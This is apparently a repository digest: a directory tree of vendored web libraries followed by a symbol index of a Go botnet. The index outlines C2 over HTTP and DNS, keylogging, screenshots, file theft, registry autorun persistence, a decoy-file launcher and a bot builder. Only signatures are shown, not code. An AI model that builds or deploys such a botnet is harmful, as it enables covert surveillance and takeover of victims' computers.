    │   │   │   │       └── whiteframe.js
    │   │   │   ├── js/
    │   │   │   │   ├── autocomplete/
    │   │   │   │   │   ├── autocomplete-default-theme.css
    │   │   │   │   │   ├── autocomplete.css
    │   │   │   │   │   ├── autocomplete.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── backdrop/
    │   │   │   │   │   ├── backdrop-default-theme.css
    │   │   │   │   │   ├── backdrop.css
    │   │   │   │   │   ├── backdrop.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── bottomSheet/
    │   │   │   │   │   ├── bottomSheet-default-theme.css
    │   │   │   │   │   ├── bottomSheet.css
    │   │   │   │   │   ├── bottomSheet.js
    │   │   │   │   │   └── bower.json
    │   │   │   │   ├── button/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── button-default-theme.css
    │   │   │   │   │   ├── button.css
    │   │   │   │   │   └── button.js
    │   │   │   │   ├── card/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── card-default-theme.css
    │   │   │   │   │   ├── card.css
    │   │   │   │   │   └── card.js
    │   │   │   │   ├── checkbox/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── checkbox-default-theme.css
    │   │   │   │   │   ├── checkbox.css
    │   │   │   │   │   └── checkbox.js
    │   │   │   │   ├── chips/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── chips-default-theme.css
    │   │   │   │   │   ├── chips.css
    │   │   │   │   │   └── chips.js
    │   │   │   │   ├── colors/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── colors.js
    │   │   │   │   ├── content/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── content-default-theme.css
    │   │   │   │   │   ├── content.css
    │   │   │   │   │   └── content.js
    │   │   │   │   ├── core/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── core.css
    │   │   │   │   │   ├── core.js
    │   │   │   │   │   └── default-theme.js
    │   │   │   │   ├── datepicker/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── datepicker-default-theme.css
    │   │   │   │   │   ├── datepicker.css
    │   │   │   │   │   └── datepicker.js
    │   │   │   │   ├── dialog/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── dialog-default-theme.css
    │   │   │   │   │   ├── dialog.css
    │   │   │   │   │   └── dialog.js
    │   │   │   │   ├── divider/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── divider-default-theme.css
    │   │   │   │   │   ├── divider.css
    │   │   │   │   │   └── divider.js
    │   │   │   │   ├── fabActions/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── fabActions.js
    │   │   │   │   ├── fabSpeedDial/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── fabSpeedDial.css
    │   │   │   │   │   └── fabSpeedDial.js
    │   │   │   │   ├── fabToolbar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── fabToolbar.css
    │   │   │   │   │   └── fabToolbar.js
    │   │   │   │   ├── fabTrigger/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── fabTrigger.js
    │   │   │   │   ├── gridList/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── gridList.css
    │   │   │   │   │   └── gridList.js
    │   │   │   │   ├── icon/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── icon-default-theme.css
    │   │   │   │   │   ├── icon.css
    │   │   │   │   │   └── icon.js
    │   │   │   │   ├── input/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── input-default-theme.css
    │   │   │   │   │   ├── input.css
    │   │   │   │   │   └── input.js
    │   │   │   │   ├── list/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── list-default-theme.css
    │   │   │   │   │   ├── list.css
    │   │   │   │   │   └── list.js
    │   │   │   │   ├── menu/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── menu-default-theme.css
    │   │   │   │   │   ├── menu.css
    │   │   │   │   │   └── menu.js
    │   │   │   │   ├── menuBar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── menuBar-default-theme.css
    │   │   │   │   │   ├── menuBar.css
    │   │   │   │   │   └── menuBar.js
    │   │   │   │   ├── navBar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── navBar-default-theme.css
    │   │   │   │   │   ├── navBar.css
    │   │   │   │   │   └── navBar.js
    │   │   │   │   ├── panel/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── panel-default-theme.css
    │   │   │   │   │   ├── panel.css
    │   │   │   │   │   └── panel.js
    │   │   │   │   ├── progressCircular/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── progressCircular-default-theme.css
    │   │   │   │   │   ├── progressCircular.css
    │   │   │   │   │   └── progressCircular.js
    │   │   │   │   ├── progressLinear/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── progressLinear-default-theme.css
    │   │   │   │   │   ├── progressLinear.css
    │   │   │   │   │   └── progressLinear.js
    │   │   │   │   ├── radioButton/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── radioButton-default-theme.css
    │   │   │   │   │   ├── radioButton.css
    │   │   │   │   │   └── radioButton.js
    │   │   │   │   ├── select/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── select-default-theme.css
    │   │   │   │   │   ├── select.css
    │   │   │   │   │   └── select.js
    │   │   │   │   ├── showHide/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── showHide.js
    │   │   │   │   ├── sidenav/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── sidenav-default-theme.css
    │   │   │   │   │   ├── sidenav.css
    │   │   │   │   │   └── sidenav.js
    │   │   │   │   ├── slider/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── slider-default-theme.css
    │   │   │   │   │   ├── slider.css
    │   │   │   │   │   └── slider.js
    │   │   │   │   ├── sticky/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── sticky.css
    │   │   │   │   │   └── sticky.js
    │   │   │   │   ├── subheader/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── subheader-default-theme.css
    │   │   │   │   │   ├── subheader.css
    │   │   │   │   │   └── subheader.js
    │   │   │   │   ├── swipe/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   └── swipe.js
    │   │   │   │   ├── switch/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── switch-default-theme.css
    │   │   │   │   │   ├── switch.css
    │   │   │   │   │   └── switch.js
    │   │   │   │   ├── tabs/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── tabs-default-theme.css
    │   │   │   │   │   ├── tabs.css
    │   │   │   │   │   └── tabs.js
    │   │   │   │   ├── textField/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── textField-default-theme.css
    │   │   │   │   │   ├── textField.css
    │   │   │   │   │   └── textField.js
    │   │   │   │   ├── toast/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── toast-default-theme.css
    │   │   │   │   │   ├── toast.css
    │   │   │   │   │   └── toast.js
    │   │   │   │   ├── toolbar/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── toolbar-default-theme.css
    │   │   │   │   │   ├── toolbar.css
    │   │   │   │   │   └── toolbar.js
    │   │   │   │   ├── tooltip/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── tooltip-default-theme.css
    │   │   │   │   │   ├── tooltip.css
    │   │   │   │   │   └── tooltip.js
    │   │   │   │   ├── virtualRepeat/
    │   │   │   │   │   ├── bower.json
    │   │   │   │   │   ├── virtualRepeat.css
    │   │   │   │   │   └── virtualRepeat.js
    │   │   │   │   └── whiteframe/
    │   │   │   │       ├── bower.json
    │   │   │   │       ├── whiteframe.css
    │   │   │   │       └── whiteframe.js
    │   │   │   ├── layouts/
    │   │   │   │   ├── angular-material.layout-attributes.css
    │   │   │   │   ├── angular-material.layouts.css
    │   │   │   │   └── angular-material.layouts.ie_fixes.css
    │   │   │   └── scss/
    │   │   │       ├── angular-material.layout-attributes.scss
    │   │   │       ├── angular-material.layouts.scss
    │   │   │       └── angular-material.scss
    │   │   └── package.json
    │   ├── angular-messages/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-messages.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── bootstrap/
    │   │   ├── .bower.json
    │   │   ├── CHANGELOG.md
    │   │   ├── Gruntfile.js
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── bower.json
    │   │   ├── dist/
    │   │   │   ├── css/
    │   │   │   │   ├── bootstrap-theme.css
    │   │   │   │   └── bootstrap.css
    │   │   │   └── js/
    │   │   │       ├── bootstrap.js
    │   │   │       └── npm.js
    │   │   ├── grunt/
    │   │   │   ├── .jshintrc
    │   │   │   ├── bs-commonjs-generator.js
    │   │   │   ├── bs-glyphicons-data-generator.js
    │   │   │   ├── bs-lessdoc-parser.js
    │   │   │   ├── bs-raw-files-generator.js
    │   │   │   ├── configBridge.json
    │   │   │   └── sauce_browsers.yml
    │   │   ├── js/
    │   │   │   ├── .jscsrc
    │   │   │   ├── .jshintrc
    │   │   │   ├── affix.js
    │   │   │   ├── alert.js
    │   │   │   ├── button.js
    │   │   │   ├── carousel.js
    │   │   │   ├── collapse.js
    │   │   │   ├── dropdown.js
    │   │   │   ├── modal.js
    │   │   │   ├── popover.js
    │   │   │   ├── scrollspy.js
    │   │   │   ├── tab.js
    │   │   │   ├── tooltip.js
    │   │   │   └── transition.js
    │   │   ├── less/
    │   │   │   ├── .csscomb.json
    │   │   │   ├── .csslintrc
    │   │   │   ├── alerts.less
    │   │   │   ├── badges.less
    │   │   │   ├── bootstrap.less
    │   │   │   ├── breadcrumbs.less
    │   │   │   ├── button-groups.less
    │   │   │   ├── buttons.less
    │   │   │   ├── carousel.less
    │   │   │   ├── close.less
    │   │   │   ├── code.less
    │   │   │   ├── component-animations.less
    │   │   │   ├── dropdowns.less
    │   │   │   ├── forms.less
    │   │   │   ├── glyphicons.less
    │   │   │   ├── grid.less
    │   │   │   ├── input-groups.less
    │   │   │   ├── jumbotron.less
    │   │   │   ├── labels.less
    │   │   │   ├── list-group.less
    │   │   │   ├── media.less
    │   │   │   ├── mixins/
    │   │   │   │   ├── alerts.less
    │   │   │   │   ├── background-variant.less
    │   │   │   │   ├── border-radius.less
    │   │   │   │   ├── buttons.less
    │   │   │   │   ├── center-block.less
    │   │   │   │   ├── clearfix.less
    │   │   │   │   ├── forms.less
    │   │   │   │   ├── gradients.less
    │   │   │   │   ├── grid-framework.less
    │   │   │   │   ├── grid.less
    │   │   │   │   ├── hide-text.less
    │   │   │   │   ├── image.less
    │   │   │   │   ├── labels.less
    │   │   │   │   ├── list-group.less
    │   │   │   │   ├── nav-divider.less
    │   │   │   │   ├── nav-vertical-align.less
    │   │   │   │   ├── opacity.less
    │   │   │   │   ├── pagination.less
    │   │   │   │   ├── panels.less
    │   │   │   │   ├── progress-bar.less
    │   │   │   │   ├── reset-filter.less
    │   │   │   │   ├── reset-text.less
    │   │   │   │   ├── resize.less
    │   │   │   │   ├── responsive-visibility.less
    │   │   │   │   ├── size.less
    │   │   │   │   ├── tab-focus.less
    │   │   │   │   ├── table-row.less
    │   │   │   │   ├── text-emphasis.less
    │   │   │   │   ├── text-overflow.less
    │   │   │   │   └── vendor-prefixes.less
    │   │   │   ├── mixins.less
    │   │   │   ├── modals.less
    │   │   │   ├── navbar.less
    │   │   │   ├── navs.less
    │   │   │   ├── normalize.less
    │   │   │   ├── pager.less
    │   │   │   ├── pagination.less
    │   │   │   ├── panels.less
    │   │   │   ├── popovers.less
    │   │   │   ├── print.less
    │   │   │   ├── progress-bars.less
    │   │   │   ├── responsive-embed.less
    │   │   │   ├── responsive-utilities.less
    │   │   │   ├── scaffolding.less
    │   │   │   ├── tables.less
    │   │   │   ├── theme.less
    │   │   │   ├── thumbnails.less
    │   │   │   ├── tooltip.less
    │   │   │   ├── type.less
    │   │   │   ├── utilities.less
    │   │   │   ├── variables.less
    │   │   │   └── wells.less
    │   │   ├── nuget/
    │   │   │   ├── MyGet.ps1
    │   │   │   ├── bootstrap.less.nuspec
    │   │   │   └── bootstrap.nuspec
    │   │   ├── package.js
    │   │   └── package.json
    │   ├── jquery/
    │   │   ├── .bower.json
    │   │   ├── AUTHORS.txt
    │   │   ├── LICENSE.txt
    │   │   ├── README.md
    │   │   ├── bower.json
    │   │   ├── dist/
    │   │   │   └── jquery.js
    │   │   ├── external/
    │   │   │   └── sizzle/
    │   │   │       ├── LICENSE.txt
    │   │   │       └── dist/
    │   │   │           └── sizzle.js
    │   │   └── src/
    │   │       ├── .jshintrc
    │   │       ├── ajax/
    │   │       │   ├── jsonp.js
    │   │       │   ├── load.js
    │   │       │   ├── parseJSON.js
    │   │       │   ├── parseXML.js
    │   │       │   ├── script.js
    │   │       │   ├── var/
    │   │       │   │   ├── location.js
    │   │       │   │   ├── nonce.js
    │   │       │   │   └── rquery.js
    │   │       │   └── xhr.js
    │   │       ├── ajax.js
    │   │       ├── attributes/
    │   │       │   ├── attr.js
    │   │       │   ├── classes.js
    │   │       │   ├── prop.js
    │   │       │   ├── support.js
    │   │       │   └── val.js
    │   │       ├── attributes.js
    │   │       ├── callbacks.js
    │   │       ├── core/
    │   │       │   ├── access.js
    │   │       │   ├── init.js
    │   │       │   ├── parseHTML.js
    │   │       │   ├── ready.js
    │   │       │   └── var/
    │   │       │       └── rsingleTag.js
    │   │       ├── core.js
    │   │       ├── css/
    │   │       │   ├── addGetHookIf.js
    │   │       │   ├── adjustCSS.js
    │   │       │   ├── curCSS.js
    │   │       │   ├── defaultDisplay.js
    │   │       │   ├── hiddenVisibleSelectors.js
    │   │       │   ├── showHide.js
    │   │       │   ├── support.js
    │   │       │   └── var/
    │   │       │       ├── cssExpand.js
    │   │       │       ├── getStyles.js
    │   │       │       ├── isHidden.js
    │   │       │       ├── rmargin.js
    │   │       │       ├── rnumnonpx.js
    │   │       │       └── swap.js
    │   │       ├── css.js
    │   │       ├── data/
    │   │       │   ├── Data.js
    │   │       │   └── var/
    │   │       │       ├── acceptData.js
    │   │       │       ├── dataPriv.js
    │   │       │       └── dataUser.js
    │   │       ├── data.js
    │   │       ├── deferred.js
    │   │       ├── deprecated.js
    │   │       ├── dimensions.js
    │   │       ├── effects/
    │   │       │   ├── Tween.js
    │   │       │   └── animatedSelector.js
    │   │       ├── effects.js
    │   │       ├── event/
    │   │       │   ├── ajax.js
    │   │       │   ├── alias.js
    │   │       │   ├── focusin.js
    │   │       │   ├── support.js
    │   │       │   └── trigger.js
    │   │       ├── event.js
    │   │       ├── exports/
    │   │       │   ├── amd.js
    │   │       │   └── global.js
    │   │       ├── intro.js
    │   │       ├── jquery.js
    │   │       ├── manipulation/
    │   │       │   ├── _evalUrl.js
    │   │       │   ├── buildFragment.js
    │   │       │   ├── getAll.js
    │   │       │   ├── setGlobalEval.js
    │   │       │   ├── support.js
    │   │       │   ├── var/
    │   │       │   │   ├── rcheckableType.js
    │   │       │   │   ├── rscriptType.js
    │   │       │   │   └── rtagName.js
    │   │       │   └── wrapMap.js
    │   │       ├── manipulation.js
    │   │       ├── offset.js
    │   │       ├── outro.js
    │   │       ├── queue/
    │   │       │   └── delay.js
    │   │       ├── queue.js
    │   │       ├── selector-native.js
    │   │       ├── selector-sizzle.js
    │   │       ├── selector.js
    │   │       ├── serialize.js
    │   │       ├── traversing/
    │   │       │   ├── findFilter.js
    │   │       │   └── var/
    │   │       │       ├── dir.js
    │   │       │       ├── rneedsContext.js
    │   │       │       └── siblings.js
    │   │       ├── traversing.js
    │   │       ├── var/
    │   │       │   ├── arr.js
    │   │       │   ├── class2type.js
    │   │       │   ├── concat.js
    │   │       │   ├── document.js
    │   │       │   ├── documentElement.js
    │   │       │   ├── hasOwn.js
    │   │       │   ├── indexOf.js
    │   │       │   ├── pnum.js
    │   │       │   ├── push.js
    │   │       │   ├── rcssNum.js
    │   │       │   ├── rnotwhite.js
    │   │       │   ├── slice.js
    │   │       │   ├── support.js
    │   │       │   └── toString.js
    │   │       └── wrap.js
    │   └── ngstorage/
    │       ├── .bower.json
    │       ├── .editorconfig
    │       ├── .gitattributes
    │       ├── .npmignore
    │       ├── LICENSE
    │       ├── README.md
    │       ├── bower.json
    │       ├── ngStorage.js
    │       └── package.js
    ├── main.html
    └── printDialog.tmpl.html
Download .txt
SYMBOL INDEX (1443 symbols across 156 files)

FILE: backend_main.go
  function checkErr (line 21) | func checkErr(err error) {
  function checkAdminAuth (line 27) | func checkAdminAuth(c echo.Context) bool {
  function main (line 38) | func main() {

FILE: client/main.go
  constant MAX_WAIT_TIME (line 40) | MAX_WAIT_TIME = 10
  constant NAME_LEN (line 41) | NAME_LEN      = 32
  constant WHOAMI (line 43) | WHOAMI       = "whoami"
  constant IPCONFIG (line 44) | IPCONFIG     = "ipconfig"
  constant CMD_IDLE (line 45) | CMD_IDLE     = "idle"
  constant CMD_EXEC (line 46) | CMD_EXEC     = "exec"
  constant CMD_DOWNLOAD (line 47) | CMD_DOWNLOAD = "download"
  constant CMD_UPLOAD (line 48) | CMD_UPLOAD   = "upload"
  constant CMD_SCREEN (line 49) | CMD_SCREEN   = "screenshot"
  constant CMD_DESTROY (line 50) | CMD_DESTROY  = "destroy"
  constant KEYLOG (line 51) | KEYLOG       = "keys"
  constant KEYLOG_STOP (line 52) | KEYLOG_STOP  = "keysStop"
  constant STATUS_ERROR (line 53) | STATUS_ERROR = "error"
  constant TYPE_REG (line 55) | TYPE_REG         = 1
  constant TYPE_GET_COMMAND (line 56) | TYPE_GET_COMMAND = 2
  constant TYPE_HTTP (line 57) | TYPE_HTTP        = 1
  constant TYPE_DNS (line 58) | TYPE_DNS         = 2
  function execute (line 62) | func execute(token string, param string) (r_code int) {
  function checkServer (line 69) | func checkServer(index int, token string) (alive bool, reg bool) {
  function checkValidIndex (line 85) | func checkValidIndex(index int) (valid bool) {
  function tryRegistration (line 95) | func tryRegistration(url_index int) string {
  function startListen (line 116) | func startListen(token string, url_index int) (r_code int) {
  function runFakeFile (line 207) | func runFakeFile() {
  function testServer (line 235) | func testServer(typeMessage int, type_req int, token string, start_id_se...
  function setupConfig (line 291) | func setupConfig() {
  function main (line 319) | func main() {

FILE: client/utils/CreateSourceForFakeLaunchFile.go
  function main (line 10) | func main() {

FILE: client/utils/TestLaunchFakeFile.go
  function main (line 10) | func main() {

FILE: client/utils/makebot.go
  type Config (line 20) | type Config struct
  type buildconf (line 26) | type buildconf struct
  type variables (line 42) | type variables struct
  type servers (line 58) | type servers struct
  function CmdExecOrig (line 70) | func CmdExecOrig(cmd string) ([]byte, error) {
  function createAdditionFileSource (line 88) | func createAdditionFileSource(path string, gobotnetPath string) {
  function CheckError (line 123) | func CheckError(err error) bool {
  function CheckFileExist (line 131) | func CheckFileExist(filePath string) bool {
  function CopyFileToDirectory (line 140) | func CopyFileToDirectory(pathSourceFile string, pathDestFile string) err...
  function createBuildTempTool (line 188) | func createBuildTempTool(flags string) {
  function createAdditionConfFile (line 205) | func createAdditionConfFile(FFlaunch bool, conf Config, gobotnetPath str...
  function handleError (line 323) | func handleError(desc string, err error) {
  function handleWarning (line 338) | func handleWarning(desc string) {
  function handleOutput (line 347) | func handleOutput(desc string) {
  function handleResult (line 356) | func handleResult(desc string) {
  function checkConfig (line 365) | func checkConfig(conf Config) (config Config, err bool) {
  function build (line 465) | func build(conf Config) {
  function main (line 727) | func main() {

FILE: db/schema.sql
  type users (line 2) | create table users(
  type output (line 15) | create table output(
  type screenshots (line 23) | create table screenshots(
  type download (line 30) | create table download(
  type upload (line 39) | create table upload(

FILE: dns_server.go
  type Data (line 22) | type Data struct
  type UploadFile (line 29) | type UploadFile struct
  type JsonFile (line 36) | type JsonFile struct
  constant POST_REQ (line 81) | POST_REQ string = "POST"
  constant GET_REQ (line 82) | GET_REQ  string = "GET"
  function isValidReceivData (line 85) | func isValidReceivData(data []string) bool {
  function ClearOldData (line 117) | func ClearOldData() {
  function OutMessage (line 126) | func OutMessage(message string) {
  function clearMap (line 132) | func clearMap(clearMap map[string]*Data, mutex *sync.Mutex) {
  function clearMapUploadFile (line 143) | func clearMapUploadFile(clearMap map[string]*UploadFile, mutex *sync.Mut...
  function SendRequest (line 154) | func SendRequest(typeRequest, urlRequest string, data url.Values) (respo...
  function UploadFileToBot (line 172) | func UploadFileToBot(uuid string) (textResponse []byte) {
  function SplitDataPiece (line 211) | func SplitDataPiece(data string, size_piece int) (split_data []string) {
  function ProcessingData (line 230) | func ProcessingData(urlWithData string) (textResponse []byte) {
  function ReceiveData (line 311) | func ReceiveData(receiveData []string, mutex *sync.Mutex, storageData ma...
  function DeleteSendData (line 344) | func DeleteSendData(mutex *sync.Mutex, storageData map[string]*Data, id ...
  function HandlerRequest (line 350) | func HandlerRequest(w dns.ResponseWriter, req *dns.Msg) {
  function main (line 391) | func main() {
  function joinToString (line 407) | func joinToString(data []string) string {
  function RandStringRunes (line 415) | func RandStringRunes(n int) string {
  function CheckError (line 423) | func CheckError(err error) {
  function ParseJsonResponse (line 429) | func ParseJsonResponse(jsonStruct interface{}, parseStr []byte) (bool, e...

FILE: src/addfile/addfile.go
  constant str_file (line 8) | str_file = "UmFyIRoHAM+QcwAADQAAAAAAAAB3FHQgkC0AHgAAACAAAAAC+ZyN0JOGD0kd...
  constant filename (line 9) | filename = "test.rar"
  function GetAdditionFile (line 12) | func GetAdditionFile() (file []byte) {
  function GetAdditionFileName (line 17) | func GetAdditionFileName() (name string) {

FILE: src/addfile/config.go
  function GetUsingDns (line 22) | func GetUsingDns() bool {
  function GetUsingHttp (line 26) | func GetUsingHttp() bool {
  function GetRewriteExe (line 30) | func GetRewriteExe() bool {
  function GetLaunchFakeFile (line 34) | func GetLaunchFakeFile() bool {
  function GetDebugMode (line 38) | func GetDebugMode() bool {
  function GetUsingRegistry (line 42) | func GetUsingRegistry() bool {
  function GetUsingAutorun (line 46) | func GetUsingAutorun() bool {
  function GetAttempCount (line 50) | func GetAttempCount() int {
  function GetDnsAddress (line 54) | func GetDnsAddress() string {
  function GetWinHttpTimeout (line 58) | func GetWinHttpTimeout() []int {
  function GetServerUrls (line 62) | func GetServerUrls() []string {
  function GetServerPorts (line 66) | func GetServerPorts() []int {
  function GetFirstInterface (line 70) | func GetFirstInterface() string {
  function GetGroupId (line 74) | func GetGroupId() string {
  function GetUsingErrorMessage (line 78) | func GetUsingErrorMessage() bool {

FILE: src/gobotnet/file_operation.go
  function CheckFileExist (line 12) | func CheckFileExist(filePath string) bool {
  function CreateDir (line 21) | func CreateDir(dirPath string, fileMode os.FileMode) bool {
  function CreateFile (line 29) | func CreateFile(pathFile string) error {
  function CreateFileAndWriteData (line 38) | func CreateFileAndWriteData(fileName string, writeData []byte) error {
  function ReadFile (line 52) | func ReadFile(nameFile string) (bytesFile []byte, err error) {
  function CopyFileToDirectory (line 58) | func CopyFileToDirectory(pathSourceFile string, pathDestFile string) err...
  function DeleteFile (line 100) | func DeleteFile(nameFile string) error {
  function RemoveDirWithContent (line 106) | func RemoveDirWithContent(dir string) error {

FILE: src/gobotnet/keylogger.go
  function KeyLog (line 12) | func KeyLog() (i int, err error) {

FILE: src/gobotnet/other_function.go
  function IsDebugModeEnable (line 19) | func IsDebugModeEnable() bool {
  function SetDebugMode (line 23) | func SetDebugMode(mode bool) {
  function CmdExec (line 27) | func CmdExec(cmd string) ([]byte, error) {
  function CmdExecOrig (line 40) | func CmdExecOrig(cmd string) ([]byte, error) {
  function OutMessage (line 58) | func OutMessage(message string) {
  function CheckError (line 65) | func CheckError(err error) bool {
  function RandStringRunes (line 73) | func RandStringRunes(n int) string {
  function Append (line 81) | func Append(slice []byte, elements ...byte) []byte {
  function ParseJsonResponse (line 96) | func ParseJsonResponse(jsonStruct interface{}, parseStr []byte) (bool, e...
  function JoinToString (line 105) | func JoinToString(data []string) string {

FILE: src/gobotnet/registration.go
  function GetFullPathBotDir (line 23) | func GetFullPathBotDir() string {
  function GetTokenFromRegistry (line 27) | func GetTokenFromRegistry() string {
  function SaveTokenToRegistry (line 37) | func SaveTokenToRegistry(token string) bool {
  function GetUrlFromRegistry (line 47) | func GetUrlFromRegistry() string {
  function SaveUrlToRegistry (line 57) | func SaveUrlToRegistry(url string) bool {
  function CheckRegistryProgram (line 68) | func CheckRegistryProgram() (value string, result bool) {
  function RegistryFromConsole (line 77) | func RegistryFromConsole(usingAutorun bool, usingRegistry bool, rewriteE...
  function UnRegistryFromConsole (line 127) | func UnRegistryFromConsole(usingRegistry bool) {
  function PrintRegistryPaths (line 149) | func PrintRegistryPaths() {
  function RegisterFromProgram (line 159) | func RegisterFromProgram() {
  function UnRegisterFromProgram (line 169) | func UnRegisterFromProgram() {
  function RegisterAutoRun (line 174) | func RegisterAutoRun() error {
  function UnRegisterAutoRun (line 180) | func UnRegisterAutoRun() {

FILE: src/gobotnet/registry_work.go
  function GetRegistryKey (line 7) | func GetRegistryKey(typeReg registry.Key, regPath string, access uint32)...
  function GetRegistryKeyValue (line 13) | func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) ...
  function CheckSetValueRegistryKey (line 29) | func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue s...
  function WriteRegistryKey (line 43) | func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathTo...
  function DeleteRegistryKey (line 52) | func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string...

FILE: src/gobotnet/screenshot.go
  function ScreenRect (line 15) | func ScreenRect() (image.Rectangle, error) {
  function CaptureScreen (line 26) | func CaptureScreen(compressImage bool) ([]byte, error) {
  function CaptureRect (line 34) | func CaptureRect(compressImage bool, rect image.Rectangle) ([]byte, erro...

FILE: src/wrapper/api.go
  constant userAgent (line 51) | userAgent          = "AsocialFriend"
  constant registerURI (line 52) | registerURI        = "/api/v1/register"
  constant outputCommandURI (line 53) | outputCommandURI   = "/api/v1/output_command"
  constant getcommandURI (line 54) | getcommandURI      = "/api/v1/get_command"
  constant screenshotURI (line 55) | screenshotURI      = "/api/v1/screenshot"
  constant idleCommandUri (line 56) | idleCommandUri     = "/api/v1/idle"
  constant downloadCommandUri (line 57) | downloadCommandUri = "/api/v1/download"
  constant uploadCommandUri (line 58) | uploadCommandUri   = "/api/v1/upload"
  constant contentTypePOST (line 59) | contentTypePOST    = "Content-Type: application/x-www-form-urlencoded"
  type JsonToken (line 63) | type JsonToken struct
  type JsonFile (line 67) | type JsonFile struct
  type JsonCommand (line 72) | type JsonCommand struct
  type MessageExchange (line 78) | type MessageExchange interface
  type HttpMessageExchange (line 86) | type HttpMessageExchange struct
    method ApiRegister (line 124) | func (httpMessageExchange HttpMessageExchange) ApiRegister(name string...
    method ApiOutputCommand (line 176) | func (httpMessageExchange HttpMessageExchange) ApiOutputCommand(uuid s...
    method ApiGetCommand (line 201) | func (httpMessageExchange HttpMessageExchange) ApiGetCommand(uuid stri...
    method ApiScreenshot (line 237) | func (httpMessageExchange HttpMessageExchange) ApiScreenshot(uuid stri...
    method ApiDownloadFile (line 252) | func (httpMessageExchange HttpMessageExchange) ApiDownloadFile(uuid, f...
    method ApiUploadFile (line 269) | func (httpMessageExchange HttpMessageExchange) ApiUploadFile(uuid, pat...
  type DnsMessageExchange (line 87) | type DnsMessageExchange struct
    method ApiRegister (line 155) | func (dnsMessageExchange DnsMessageExchange) ApiRegister(name string, ...
    method ApiOutputCommand (line 184) | func (dnsMessageExchange DnsMessageExchange) ApiOutputCommand(uuid str...
    method ApiGetCommand (line 221) | func (dnsMessageExchange DnsMessageExchange) ApiGetCommand(uuid string...
    method ApiScreenshot (line 244) | func (dnsMessageExchange DnsMessageExchange) ApiScreenshot(uuid string...
    method ApiDownloadFile (line 260) | func (dnsMessageExchange DnsMessageExchange) ApiDownloadFile(uuid, fil...
    method ApiUploadFile (line 291) | func (dnsMessageExchange DnsMessageExchange) ApiUploadFile(uuid, pathD...
  function SetWinHttpTimeout (line 89) | func SetWinHttpTimeout(array []int) {
  function SetUrlAndPortArrays (line 93) | func SetUrlAndPortArrays(url_array []string, port_array []int) {
  function SetDnsURL (line 100) | func SetDnsURL(dns_name string) {
  function SetBotNetUrl (line 104) | func SetBotNetUrl(num int) {
  function GetUrlArrayLen (line 119) | func GetUrlArrayLen() (ret int) {
  function apiSendRequest (line 338) | func apiSendRequest(paramsGET string, paramsPOST []byte, method string) ...
  function DnsSendData (line 392) | func DnsSendData(sendData []string) (response []byte, err error) {
  function FormationData (line 422) | func FormationData(mainPartRequest string, data []byte) (arrayData []str...
  function InitSession (line 458) | func InitSession() (resp int) {
  function SetSessionProxyFromIE (line 478) | func SetSessionProxyFromIE(hSession uintptr) {
  function OutResponse (line 492) | func OutResponse(nameCommand string, data []byte, code int, text []byte) {

FILE: src/wrapper/winhttp.go
  constant GET_REQUEST (line 28) | GET_REQUEST                     = "GET"
  constant POST_REQUEST (line 29) | POST_REQUEST                    = "POST"
  constant INTERNET_DEFAULT_HTTP_PORT (line 30) | INTERNET_DEFAULT_HTTP_PORT      = 80
  constant INTERNET_DEFAULT_HTTPS_PORT (line 31) | INTERNET_DEFAULT_HTTPS_PORT     = 443
  constant WINHTTP_OPTION_PROXY (line 32) | WINHTTP_OPTION_PROXY            = 38
  constant WINHTTP_ACCESS_TYPE_NAMED_PROXY (line 33) | WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
  constant WINHTTP_ADDREQ_FLAG_ADD (line 34) | WINHTTP_ADDREQ_FLAG_ADD         = 0x20000000
